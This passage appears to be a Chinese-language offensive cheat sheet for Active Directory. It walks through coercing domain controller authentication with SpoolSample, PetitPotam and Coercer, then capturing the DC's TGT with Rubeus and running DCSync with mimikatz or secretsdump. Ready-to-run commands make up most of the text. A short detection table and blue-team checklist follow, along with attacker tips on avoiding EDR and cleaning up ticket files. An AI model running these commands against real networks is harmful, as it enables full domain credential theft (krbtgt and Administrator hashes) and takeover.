原理: 利用 Print Spooler 服务的 RpcRemoteFindFirstPrinterChangeNotificationEx API,强制目标机器向指定主机发起认证。目标需运行 Print Spooler 服务 (默认启用)。
# SpoolSample (Windows)
SpoolSample.exe <TARGET_DC> <UNCONSTRAINED_MACHINE>
# SharpSpoolTrigger (Windows)
SharpSpoolTrigger.exe <TARGET_DC> <UNCONSTRAINED_MACHINE>
# printerbug.py (Linux)
printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET_DC> <UNCONSTRAINED_MACHINE>PetitPotam (MS-EFSRPC)
原理: 利用 EFS RPC 接口 (EfsRpcOpenFileRaw 等) 强制目标机器向指定主机发起认证。
# PetitPotam.py (Linux)
PetitPotam.py -u <USER> -p <PASSWORD> -d <DOMAIN> <UNCONSTRAINED_MACHINE> <TARGET_DC>
# 无凭据版本 (未打补丁时)
PetitPotam.py '' '' <UNCONSTRAINED_MACHINE> <TARGET_DC>Coercer (集成工具)
集成多种强制认证方法 (MS-RPRN, MS-EFSRPC, MS-FSRVP, MS-DFSNM 等):
# 自动尝试所有方法
coercer coerce -u <USER> -p <PASSWORD> -d <DOMAIN> \
-l <UNCONSTRAINED_MACHINE> -t <TARGET_DC>
# 仅列出可用方法
coercer scan -u <USER> -p <PASSWORD> -d <DOMAIN> -t <TARGET_DC>---
完整利用步骤
从强制认证到 DCSync 的完整流程:
# === 在非约束委派服务器上 ===
# 1. 启动 TGT 监控
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$# === 在攻击机上 ===
# 2. 触发强制认证
coercer coerce -u <USER> -p <PASSWORD> -d <DOMAIN> \
-l <UNCONSTRAINED_MACHINE> -t <DC_IP># === 回到非约束委派服务器 ===
# 3. 获取到 DC 的 TGT (Base64)
# [*] Found new TGT: DC01$@DOMAIN.LOCAL
# Base64EncodedTicket: doIFwj[...]
# 4. 导入票据
Rubeus.exe ptt /ticket:doIFwj[...]
# 5. DCSync
mimikatz.exe "lsadump::dcsync /domain:<DOMAIN> /user:krbtgt"
mimikatz.exe "lsadump::dcsync /domain:<DOMAIN> /user:Administrator"# === Linux 替代方案 ===
# 将 Base64 票据转为 ccache
echo '<BASE64_TGT>' | base64 -d > dc01.kirbi
ticketConverter.py dc01.kirbi dc01.ccache
# DCSync
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass '<DOMAIN>/DC01$@dc01.<DOMAIN>'---
OPSEC 与检测
检测指标
| 事件 | Event ID | 说明 |
|---|---|---|
| 登录事件 | 4624 (Type 3) | 高权限账户从非约束委派服务器发起网络登录 |
| 票据请求 | 4768 | TGT 请求来自非预期来源 |
| 票据使用 | 4769 | 使用 DC 机器账号票据执行 DCSync |
| 服务调用 | 5145 | 来自非预期源的 SMB/RPC 调用 |
蓝队检测要点
- 监控非约束委派服务器上的 Event ID 4624 (Logon Type 3)
- 关注 DC 机器账号从非预期来源发起的认证
- 监控 Print Spooler RPC 调用 (
MS-RPRN) - 监控 EFS RPC 调用 (
MS-EFSRPC) - 告警 DCSync 行为 (Event ID 4662, GUID
1131f6ad-...)
攻击方注意事项
- DC 默认配置非约束委派,攻击 DC 本身无意义 — 目标是非 DC 的非约束委派机器
- 强制认证会在目标和攻击者双方留下日志
- Rubeus monitor 会持续查询 LSASS,可能触发 EDR
- 尽快使用捕获的 TGT,默认有效期 10 小时
- 操作完成后清理导出的票据文件